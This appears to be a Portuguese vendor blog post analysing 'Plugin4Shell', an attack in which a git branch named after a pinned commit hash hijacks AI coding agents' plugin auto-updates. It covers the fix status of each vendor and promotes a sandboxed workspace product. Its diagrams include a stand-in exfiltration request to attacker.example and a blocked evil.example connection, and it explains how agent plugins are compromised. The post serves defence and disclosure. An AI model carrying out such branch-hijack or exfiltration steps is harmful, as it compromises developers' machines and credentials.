Voltar para todas as publicações
Publicado em · por Renaud Deraison

O commit era um branch

A Air divulgou a Plugin4Shell em 17 de setembro: os marketplaces de plugins do Claude Code, do Codex, do Gemini CLI e do Copilot fixam cada plugin a um hash de commit de quarenta caracteres, e os agentes fazem o checkout desse hash sem nunca confirmar que foi isso que receberam. Um atacante que dá a um branch o nome do hash fixado ganha o checkout, e o atualizador em segundo plano faz o resto, sem prompt e sem clique. Anthropic e OpenAI corrigiram. O Google não vai corrigir, e a Microsoft não corrigiu. Em um workspace do Bromure Agentic Coding, o código que ganha o checkout cai em uma VM que guarda apenas credenciais substitutas, atrás de uma política de push e de um conjunto de regras de saída aplicados no host.

Todo guia de cadeia de suprimentos manda fixar dependências a um hash, porque um número de versão é um rótulo que alguém pode mover e um hash é o próprio conteúdo. Quatro agentes de código seguiram esse conselho. Nenhum deles conferiu se o hash recebido era o esperado.

Um plugin passa pela revisão. Você o lê, ou o time de plataforma lê, e ele entra na lista aprovada fixado a um commit: quarenta caracteres hexadecimais que só podem descrever uma árvore, porque alterar a árvore altera os caracteres. É esse o apelo. Qualquer pessoa com o acesso certo pode mover uma tag ou republicar uma versão, mas um hash de commit deveria ser um fato.

Em 17 de setembro, três pesquisadores da Air (Or Nevo, Dor Granat e Niv Hoffman) publicaram a Plugin4Shell. A conclusão: a fixação vale apenas o que valer aquilo que a resolve, e o resolvedor de quatro grandes agentes de código não confere o próprio trabalho. The Register cobriu o caso no mesmo dia. Claude Code, Codex da OpenAI, Gemini CLI do Google e Copilot da Microsoft estão todos afetados.

O git prefere a ref

Um hash de commit é conteúdo, e também é um nome. Branches e tags também são, e o git resolve todos eles pela mesma busca. Entregue ao git uma string que seja ao mesmo tempo um nome de branch e um id de objeto e ele terá de escolher; ele escolhe o branch. Os pesquisadores resumem em uma linha: “quando um nome é ao mesmo tempo uma ref válida e um id de objeto, o git prefere a ref”.

O git até avisa. Ele imprime uma nota de ambiguidade para aquela referência, em um terminal que você não está lendo, porque quem está rodando o checkout é um atualizador em segundo plano.

Nomes de branch do git aceitam quarenta caracteres hexadecimais. Um atacante que controla o repositório do plugin cria um branch com exatamente o nome que o marketplace fixou e o torna o branch padrão. O clone traz esse branch junto com o commit de mesmo nome. Aí o agente roda seu checkout:

git clone <plugin repo> ./
git checkout aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

O checkout cai no branch. O Gemini CLI toma outro caminho até o mesmo lugar: busca o commit correto com --ref e então roda git checkout FETCH_HEAD, que resolve para um branch chamado FETCH_HEAD se o repositório tiver um.

Um nome, duas coisas que ele pode significarfixação do marketplaceaaaaaaaa…aaaarevisado, registrado, intactoid de objeto no repositórioaaaaaaaa…aaaao código que passou na revisãobranch, os mesmos quarenta caracteresrefs/heads/aaaaaaaa…aaaao que o atacante tiver enviadogit checkout aaaa…aaaaresolve para o branchaviso impresso, ninguém lendoO agente nunca pergunta o que de fato foi para a árvore de trabalho. Um comando bastaria: git rev-parse HEAD.
Uma string, dois significados. O commit aaa…aaa e um branch chamado aaa…aaa existem os dois no repositório clonado. O git checkout precisa escolher, e escolhe a ref. O marketplace continua registrando a mesma fixação, e a árvore em disco pertence a outra pessoa.

Cinco passos, e o último não tem clique

Os pesquisadores dispõem o ataque em cinco movimentos, e os três primeiros são coisas que um marketplace bem administrado faz de propósito.

Plantar. Publicar um plugin benigno. Ele passa na revisão no commit aaa…aaa porque não há nada de errado com ele.

Adoção. Desenvolvedores o instalam, fixado ao commit revisado. É o passo em que você faz exatamente o que os guias mandam fazer.

Troca de versão. O marketplace refixa para um commit mais novo, bbb…bbb, também benigno e também revisado.

Rug-pull. O atacante cria um branch chamado bbb…bbb, torna-o padrão e o aponta para código malicioso. Ele não republica nada e o registro do marketplace não se move. Os quarenta caracteres que você conferiria são os quarenta caracteres que você já conferiu.

Atualização automática virando RCE. Claude Code e Codex atualizam plugins instalados em segundo plano por padrão. A próxima atualização agendada faz o checkout do branch. A Air descreve esse passo como “sem prompt, sem clique”.

Plugin4Shell, passo a passoquem age1um plugin benigno é publicado e passa na revisão no commit aaa…aaanão há nada de errado com o código neste pontomarketplace2desenvolvedores o instalam, fixado ao commit revisadoesta é a prática recomendada, seguida corretamentevocê3o marketplace refixa para um commit mais novo, bbb…bbbtambém benigno, também revisadomarketplace4um branch chamado bbb…bbb é criado e tornado padrãonada é republicado; a fixação registrada não se moveatacante5o atualizador em segundo plano faz o checkout do branchexecução de código na máquina do desenvolvedor — sem prompt, sem cliqueo agente
Os passos um a três são o marketplace funcionando como projetado, e o passo dois é o desenvolvedor seguindo o conselho padrão. O ataque são os passos quatro e cinco, e nenhum deles pede aprovação nenhuma ao desenvolvedor.

Há uma segunda porta de entrada que pula o plantio: tomar o repositório de um autor de plugin legítimo e enviar a versão maliciosa para todos os agentes que já têm o plugin instalado. O truque do branch é o mesmo, e não há revisão nenhuma a passar.

A Air descreve o resultado como “execução remota de código completa na máquina do funcionário”, rodando com as permissões desse funcionário. O atacante não precisa de escalada de privilégios. O código roda como a pessoa dona do laptop, e alcança os arquivos dela e o acesso dela à produção.

Esta é a terceira vez que esses pesquisadores contam a mesma forma. Seus trabalhos anteriores sobre skills de agente maliciosas descrevem uma que alcançou mais de 26.000 agentes, e uma campanha de sequestro que tomou 925 skills já em uso em 134.000 agentes. Aquelas campanhas precisavam que você instalasse algo ruim; esta precisava que você instalasse algo bom e esperasse.

Dois dos quatro não têm correção

A Air comunicou os quatro fornecedores em junho.

A Anthropic corrigiu o Claude Code em 17 de junho, na versão 2.1.179. A correção da OpenAI saiu no Codex 0.146.0 e foi verificada em 12 de agosto. O Google respondeu em 4 de agosto que o Gemini CLI está descontinuado e não será corrigido. O Google aponta os usuários para o Antigravity, então uma instalação do Gemini CLI que continue em disco continua vulnerável. A Microsoft não entregou nada para o Copilot. O GitHub diz que a própria plataforma bloqueia nomes de branch e de tag que pareçam SHAs de commit, o que cobre plugins hospedados no GitHub e não faz nada por um repositório de plugin hospedado em outro lugar, Bitbucket incluído. The Register observa, usando o número da própria Microsoft, que quase 90% das empresas da Fortune 500 usam o Copilot.

A correção em si é uma linha, e precisa rodar dentro do agente:

test "$(git rev-parse HEAD)" = "<pinned-sha>" || abort

Resolver o commit que foi parar na árvore de trabalho e recusar prosseguir a menos que ele bata. Nenhum marketplace pode fazer isso por você, porque é o seu agente que resolve a fixação na sua máquina, depois que o marketplace terminou de falar.

Para um grande número de desenvolvedores lendo isto hoje, “atualize seu agente” não é uma resposta disponível. Sobra a outra pergunta: o que o código encontra quando ganha o checkout e começa a rodar?

Dentro de um workspace do Bromure Agentic Coding

A frase da Air, rodando com as permissões do funcionário, é exata. Um workspace existe para torná-la falsa.

No Bromure Agentic Coding, o agente roda dentro de uma VM Linux virtualizada por hardware no seu Mac, e a VM nunca guarda uma credencial real. Ao iniciar a sessão, o app escreve substitutas que preservam a estrutura no ambiente em que o agente roda: ANTHROPIC_API_KEY, GH_TOKEN, LINEAR_API_KEY e as demais como variáveis de ambiente, e falsificações equivalentes em ~/.git-credentials, ~/.docker/config.json, ~/.kube/config, ~/.aws/config e nos arquivos de configuração MCP do agente. Cada substituta mantém o formato que as ferramentas esperam, então elas a aceitam: uma substituta do GitHub é ghp_ mais 36 caracteres, uma da Anthropic começa com sk-ant-api03-brm-, um token bearer do Kubernetes começa com brm-k8s-. O Bromure deriva cada uma do valor real por HKDF-SHA256 com um sal por instalação, o que a mantém estável entre sessões e sem valor para quem a coletar.

Os valores reais ficam criptografados no host. Um proxy do lado do host os substitui no fio depois que a requisição saiu da VM, e somente quando o destino corresponde ao host para o qual aquela credencial foi cunhada. Um plugin que varre o diretório pessoal atrás de arquivos de configuração, que é a primeira coisa que essa classe de payload faz, coleta um conjunto de substitutas bem formadas.

Depois do checkout: os mesmos três movimentos, duas vezesuma máquina de desenvolvedor comumler o diretório pessoalsk-ant-api03-… ghp_… AKIA…chaves reais, tokens reais, kubeconfig realfuncionaenviar para os repositórios que alcançagit push → git-receive-packas credenciais git do próprio desenvolvedorfuncionamandar a coleta para algum lugarPOST https://attacker.exampleHTTPS de saída comum, nada no caminhofuncionaum workspace do Bromure Agentic Codingler o diretório pessoalsk-ant-api03-brm-… ghp_… brm-k8s-…substitutas; as reais estão no hostiscasenviar para os repositórios que alcançagit-receive-pack = escritabloqueado, ou uma janela do host para responderpolíticamandar a coleta para algum lugar451 — nenhum byte encaminhadoregra de saída, e então a VM é pausadaparado
O mesmo checkout, o mesmo plugin malicioso, duas máquinas. Em um laptop comum o código herda as credenciais reais do desenvolvedor e alcança tudo o que ele alcança. Em um workspace as credenciais que ele lê são substitutas, o push que ele tenta encontra uma política de escrita do lado do host, e a chamada para casa encontra uma regra de saída que o convidado não pode editar.

O push precisa ser aprovado no host

A coisa mais valiosa que um plugin comprometido pode fazer numa máquina de desenvolvedor é dar push. É assim que um laptop vira cem repositórios.

O Guardrails classifica cada chamada que o agente faz ao GitHub. Um git push por HTTPS chega ao proxy como git-receive-pack, o que conta como escrita. O modo somente leitura o recusa. O modo perguntar antes de escrever levanta uma janela no seu Mac, intitulada Allow write on "<scope>" from workspace "<name>"?, mostrando a operação tal como ela é, e não um resumo dela. Um git fetch conta como leitura e passa sem interromper você.

A classificação roda no proxy do host, fora da VM. O código dentro do convidado não consegue desligá-la nem contorná-la, porque não roda na máquina que toma a decisão.

A chamada para casa encontra uma regra que o convidado não pode editar

Todo workspace tem um firewall de saída: uma lista ordenada, no estilo pf, de regras de permissão e negação sobre host, faixa de IP, protocolo, porta e, para tráfego web, o verbo HTTP individual. allow web api.example.com GET,POST dá ao agente consultas sem mutações, no fio, não importa qual ferramenta dentro da VM faça a requisição.

Duas camadas o aplicam. O switch de rede virtual aplica as regras a cada fluxo por IP de destino e por hostname capturado do DNS, cobrindo TCP e UDP simples além de HTTPS. O proxy as aplica de novo por nome de servidor TLS e método HTTP. O Bromure desvia o tráfego das portas 80 e 443 da VM para o proxy sem a cooperação do convidado, então nada lá dentro consegue escapar da inspeção. Suas edições alcançam as sessões em andamento na hora, o que importa no dia em que você lê uma divulgação como esta.

Abaixo disso fica o detector de comprometimento, ligado por padrão e sem nada a configurar. O proxy varre cada requisição de saída em uma única passada atrás dos tokens substitutos cunhados para aquele workspace. Uma substituta endereçada a um host para o qual ela nunca foi cunhada é a assinatura de exfiltração, e o proxy responde com HTTP 451 sem encaminhar byte algum. Ele pausa a VM na hora e levanta um alerta que oferece desligar o workspace, exportar o disco e a pasta pessoal para investigação, ou continuar por sua conta e risco. O Bromure marca o workspace como comprometido, e o próximo lançamento apaga o disco da VM e a pasta pessoal preservando seus tokens, chaves SSH e configurações de workspace. Só a substituta vazou, então não há nada para rotacionar.

Zero clique significa que não há nada a notar

A propriedade mais afiada do passo cinco é o silêncio. Uma atualização de plugin em segundo plano não produz prompt nem chamada de ferramenta, então a própria interface do agente não dá ao desenvolvedor nada para pegar. O ponto da Air é que o exploit roda na parte do sistema que você não tem motivo para vigiar.

Um workspace move a vigilância para outro lugar. Os motores de segurança escrevem cada decisão como uma linha na janela Security Timeline do seu Mac: veredictos do firewall (evil.example:443 tcp — blocked), aplicações do Guardrails (DELETE api.github.com/repos/… — blocked), credential brokering incluindo a linha vermelha blocked — exfiltration attempt, VM paused, além de veredictos de cadeia de suprimentos e acertos de injeção de prompt, coloridos e filtráveis. Uma sessão também pode gravar um rastro criptografado dos comandos executados e dos hosts alcançados.

Um plugin que se atualizou sozinho sem avisar ainda precisa fazer requisições, e cada uma cruza uma fronteira que mantém as próprias anotações do outro lado do hipervisor.

Confira primeiro a versão do seu agente

Claude Code 2.1.179 e Codex 0.146.0 contêm a correção. Se você usa Gemini CLI, não haverá uma. Se você usa Copilot, ainda não há.

Desligue a atualização automática de plugins onde puder

A propriedade de zero clique vem do atualizador em segundo plano. Atualizações manuais recolocam um humano no laço do passo cinco.

Verifique você mesmo o checkout na CI

git rev-parse HEAD depois de um checkout fixado, comparado com a fixação, é a mesma verificação de uma linha que os fornecedores tiveram de adicionar. Funciona em qualquer lugar onde você clone por SHA.

Assuma que alguém vai ganhar o checkout

Fixação, revisão e curadoria do marketplace funcionaram todas aqui e o ataque passou mesmo assim. O desfecho então depende do que o código vencedor consegue alcançar.

A Plugin4Shell pega o desenvolvedor cuidadoso nos mesmos termos que o descuidado. Quem instalou o que estava em alta não saiu pior do que quem leu o código-fonte, fixou o hash e anotou a fixação. O endereçamento por conteúdo devia proteger esse segundo desenvolvedor, e não protegeu, porque o git resolve o endereço por uma busca que também usa aqueles caracteres para outra coisa.

Continue fixando. E parta do princípio de que um controle apoiado em uma busca ou em uma comparação de nomes um dia receberá a resposta errada enquanto você dorme. Projete para aquela manhã: rode o agente em algum lugar que não guarde nenhuma chave que valha a pena levar, e mantenha o registro do que ele fez do outro lado de uma fronteira que o código não alcança.